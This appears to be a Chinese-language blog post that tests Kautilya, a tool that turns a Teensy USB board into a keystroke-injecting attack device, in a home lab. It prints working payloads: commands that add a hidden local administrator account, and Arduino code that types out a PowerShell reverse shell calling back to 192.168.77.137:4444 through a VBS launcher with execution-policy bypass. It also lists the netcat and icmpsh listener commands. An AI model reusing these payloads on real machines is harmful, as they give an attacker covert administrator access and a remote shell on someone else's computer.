跳到主要內容

Teensy進階工具 - Kautilya

Teensy進階工具 - Kautilya

安裝介紹

最初想要在Windows上執行,但是似乎有一些lib的問題,嘗試處理了一下,最後還是放棄,直接擁抱Kali,轉到Kali以後,就是無痛直接執行!

上圖為Kautilya在windows上的功能,至於詳細功能,請參考他的github(連結),這邊主要針對:
  • Execute
    • Reverse TCP 
    • Reverse UDP
    • Reverse ICMP
  • Manage
    • Add an admin user
這幾個項目做測試,因為比較簡單orz

Add an admin user

這個基本上沒難度,就只是把程式碼燒進去以後,等它執行就對了!
然後它跑得時候會出現cmd的視窗,會縮得很小,讓妳看不到裡面再打什麼:

產生步驟:

沒什麼技術性,就產生完畢了!
稍微看了一下他的程式碼,主要都是用powershell去完成的,在使用者的部份主要是這兩段指令:
# define U_ADD "net user new_user password /add"
# define G_ADD "net localgroup Administrators new_user /add"

基本上,就是新增一個administrator權限的新使用者,另外蠻有趣的部份是,他有一些機制,下面這段主要是因為對於第一次接上的鍵盤或是滑鼠,都會需要安裝驅動程式,當然Teensy也不例外:
void wait_for_drivers(int sleep){...}

檢查caps是沒否為on,畢竟這關係到大小寫:
bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}

這部份厲害的是,它還另外寫了powershell的指令,還有vbs去解除caps on的狀態,這邊真的只能佩服...orz
void create_click_capslock_win()

不用多說了,所有視窗最小化!
void minimise_windows(void){...}

測試影片:
https://youtu.be/4UctVn9YE1Q

Reverse TCP & UDP

產生步驟:

基本上也是無痛產生程式碼,不過這邊需要另外說一個東西,『netcat』這是他的server site的接口工具,這是Kali上的標準配備之一,所以就不另外介紹,只大概提一下需要使用到的參數:
-l : Listening mode
-v : Verbose
-u : UDP mode
-p : local port number

當使用Reverse UDP時,使用指令:
nc -lvup [IP] [port]

當使用Reverse TCP時,使用指令:
nc-lvp [IP] [port]

IP跟port當然都是要設定Listening端,因為他是讓Client主動連結server。

另外執行後,也有一些有趣的地方:
他是只有以Process的形式存在,而不是Application,所以工作管理員的Application是看不到東西的,不過還是查的到連線資訊:

然後就像前面說的,它所執行的Process為powershell:

程式碼的部份,排除前面已經說過的:

Keyboard.println("echo $cl = New-Object System.Net.Sockets.TCPClient(\"192.168.77.137\",4444)  > %temp%\\rtcp.ps1");
  Keyboard.println("echo $str = $cl.GetStream() >> %temp%\\rtcp.ps1");
  Keyboard.println("echo [byte[]]$bts = 0..65535^|%{0}  >> %temp%\\rtcp.ps1");
  Keyboard.println("echo while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){  >> %temp%\\rtcp.ps1");
  Keyboard.println("echo $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bts,0, $i)  >> %temp%\\rtcp.ps1");
  Keyboard.println("echo $sb = (iex $data 2>&1 ^| Out-String )  >> %temp%\\rtcp.ps1");
  Keyboard.println("echo $sb2  = $sb + \"PS \" + (pwd).Path + \"> \"  >> %temp%\\rtcp.ps1");
  Keyboard.println("echo $sbt = ([text.encoding]::ASCII).GetBytes($sb2)  >> %temp%\\rtcp.ps1");
  Keyboard.println("echo $str.Write($sbt,0,$sbt.Length) >> %temp%\\rtcp.ps1");
  Keyboard.println("echo $str.Flush()} >> %temp%\\rtcp.ps1");
  Keyboard.println("echo $cl.Close() >> %temp%\\rtcp.ps1");

  Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\rtcp.vbs");
  Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\rtcp.ps1\"),0,true >> %temp%\\rtcp.vbs");


基本上,就是powershell就對了,這段程式碼以後在研究~呵呵

測試影片:

Reverse ICMP
這部份用法基本上跟TCP、UDP一樣,差別只有Listening的service不同,這邊使用icmpsh這個工具:

在使用之前必須要先改系統設定,否則會無法做互動:
sysctl -w net.ipv4.icmp_echo_ignore_all=1

使用方法:
icmpsh-m.py <Listening IP address> <Target IP address>

不過這個比較麻煩的是,Server端必須要知道client端的IP,限制就比較多了,可是相對的是從連線資訊的部份無法查到連線資訊:





留言